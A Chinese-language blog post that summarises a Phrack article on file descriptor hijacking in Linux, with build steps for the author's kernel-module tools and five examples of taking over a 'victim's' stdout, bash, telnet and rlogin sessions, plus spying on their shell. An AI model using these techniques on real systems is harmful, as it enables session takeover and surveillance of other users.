File Descriptor Hijacking - 文章分享

File Descriptor Hijacking - 文章分享

2018, Feb 14    

最近又讀了一篇 Phrack 的文章,這次是在說 File Descriptor 的部分,實作部分有碰到一些 Linux kernel module ,感覺蠻有趣的,接下來會找時間好好學這一部份。

簡介

/dev/kmem 這個檔案是 Linux kernel 虛擬記憶體的內容,直接修改他,就等於修改 kernel memory。那這篇文章就是利用這個檔案去交換兩個 Process 的 file descriptor table ,達到 Hijacking 其他使用者的程式輸出或 telnet 。原文章連結

環境

  • Ubuntu 16.04 amd64

簡報

整理成一個簡報,是在 UCCU 內部讀書會用的,可以搭配著看。

How the kernel keeps track of open file descriptors

在 Unix-like 的系統裡, Process 存取資源的時候會使用叫做 file descriptors 的東西,可以用一些 system call 拿到這個值,像是 open(), socket(), pipe()。不過有些是預設的,像是 0 代表 stdin ; 1 代表 stdout ; 2 代表 stderr 。若有新的 fd 產生就會依順序累加。

可以用 python 做個小測試

python
>>> open('/etc/issue', 'r')
<open file '/etc/issue', mode 'r' at 0x7fb951627780>
>>>
[1]+  Stopped                 python

開啟檔案後按下 Ctrl-Z 然後使用 jobs -l 查 pid

jobs -l
[1]+  8295 Stopped                 python

接下來利用 /proc/$pid/fd 查看該程序開啟的 fd 有哪些

ll /proc/8295/fd
total 0
dr-x------ 2 jackgrence jackgrence  0 Mar  7 08:43 ./
dr-xr-xr-x 9 jackgrence jackgrence  0 Mar  7 08:43 ../
lrwx------ 1 jackgrence jackgrence 64 Mar  7 08:43 0 -> /dev/pts/8
lrwx------ 1 jackgrence jackgrence 64 Mar  7 08:43 1 -> /dev/pts/8
lrwx------ 1 jackgrence jackgrence 64 Mar  7 08:43 2 -> /dev/pts/8
lr-x------ 1 jackgrence jackgrence 64 Mar  7 08:43 3 -> /etc/issue

可以看到 /etc/issue 的 fd 為 3 ,0~2 開啟的檔案是我目前 ssh 拿到的 pts(pseudoterminal slave) ,詳細解說可以看 man pts

那麼在 kernel 來看,每個 process 都有一個 file descriptor table ,裡面存著指向 fd 結構的指標。這個結構會存著很多資訊,型態拉、 fd 的資料拉等等。

以 linux 系統來說每個 process 會用一個 task_struct 來儲存,這個結構內又有一個 files_struct 結構,裡面還有一個 fdtable 結構,這個結構裡面有一個 fd array ( 如下圖 ) 。

kernel 版本不同會有些差異,我目前 kernel 版本是 4.4.0-116-generic ,可以用 uname -r 看自己的 kernel 版本,然後可以到這個看 Linux kernel source 的網站了解一下 task_struct 這個結構。

File descriptor hijacking

接下來的範例只會使用把兩個 process 的 fd 交換,不會進行複製 fd 或只拿走一個 process 的 fd ,要注意的是使用的人要有存取 /dev/kmem 的權限(其實就是 root ),不過在 kernel 2.6.26 以後的 /dev/kmem 是預設關閉的,如果要啟用需要重新編譯 kernel ,我有試著編譯過,但還是不能用 Orz ,幸好在 github 上找到了一個類似的 code ,他寫了一個 Linux kernel module 去控制 kernel memory ,於是就自己修了一下,讓他符合這篇文章需要的功能。

編譯 chfd

  • fdhijack
    • chfd 的主程式,會編譯好 chfd 和 fdhj.ko 。
  • peeping_tom
    • 我隨手寫的玩具,利用 chfd 去偷窺別人的 process 。

用法

其實跟原文章相反就是了 ╮(╯_╰)╭

懶人版:

git clone https://github.com/JackGrence/fdhijack
git clone https://github.com/JackGrence/peeping_tom
cd fdhijack
cmake ./
make
pushd driver/fdhj_3.10.49
make
popd
cd ../
mkdir phrack_51_5
cp fdhijack/bin/chfd phrack_51_5/
cp fdhijack/script/fdhj_load phrack_51_5/
cp fdhijack/driver/fdhj_3.10.49/fdhj.ko phrack_51_5/
cd peeping_tom
make
cd ../
cp peeping_tom/echo_fd phrack_51_5/
cd phrack_51_5

裝好之後要先確認 chfd, fdhj.ko, fdhj_load, echo_fd 在同個目錄下。確認好就開始做範例吧!

─=≡Σ((( つ•̀ω•́)つ

First

先幫我按個星星 (X

首先要載入 kernel module

sudo ./fdhj_load
lsmod | grep fdhj

lsmod 可以看目前載入的 kernel module ,確認 fdhj 有出現在裡面就可以開始範例了 ~

Example 1

環境

  • 受害者開啟一個程序不斷的 echo 遞增的數字 ( pid = 207 )
  • 你開啟一個 terminal 輸入指令 “cat > somefile” ( pid = 1746 )

執行

  • ./chfd 207 1 1746 1

結果

  • 交換了兩隻程式的 stdout
  • 某人的 echo 將會停止
  • 對 cat 那隻程式按下 ^C 後檢查 somefile 會出現剛剛消失的數字

Example 2

環境

  • 受害者正在使用 bash ( pid = 4022 )
  • 你開啟一個 bash ( pid = 4121 )

執行

  • 在 bash 上執行 sleep 10000
  • 上面那個 bash 睡死了所以開啟另一個 bash 執行:
  • ./chfd 4022 0 4121 0
  • ./chfd 4022 1 4121 1
  • ./chfd 4022 2 4121 2

結果

  • 受害者按下任意按鍵後睡死的 bash 就可以控制受害者的 bash

Example 3

環境

  • 受害者正在使用 telnet ( pid = 6309 )
  • 你也開啟一個 telnet ( pid = 7081 )
  • 查看 /proc/6309/fd 可以看到 fd 3 是 telnet 連線用的

執行

  • ./chfd 6309 3 7081 3 0 0

結果

  • 受害者看到視窗上顯示連線已關閉
  • 你成功幹走受害者的 telnet

Example 4

環境

  • 受害者正在使用 rlogin ( pid = 4547, 4548 )
  • 你也開啟一個 rlogin ( pid = 4852, 4855 )
  • 查看 /proc/$pid/fd 可以看到 fd 3 是 rlogin 連線用的

執行

  • ./chfd 4547 3 4852 3
  • ./chfd 4548 3 4855 3

Example 5

環境

  • 受害者正在使用 bash ( pid = 1234 )
  • 你使用 echo_fd 程式監控受害者的 bash

執行

  • ./echo_fd 1234

結果

  • 監控受害者的 bash 可以看到他打的指令和輸出結果

詳細操作可以看 peeping_tom 的 README

結論

這篇打得很像翻譯文(雖然也沒有全部都翻到),還是建議到原文章讀,要實作時再回來。

順便幫我按顆星星我會很感謝你 ♥(´∀` )人

總之,感謝您的閱讀~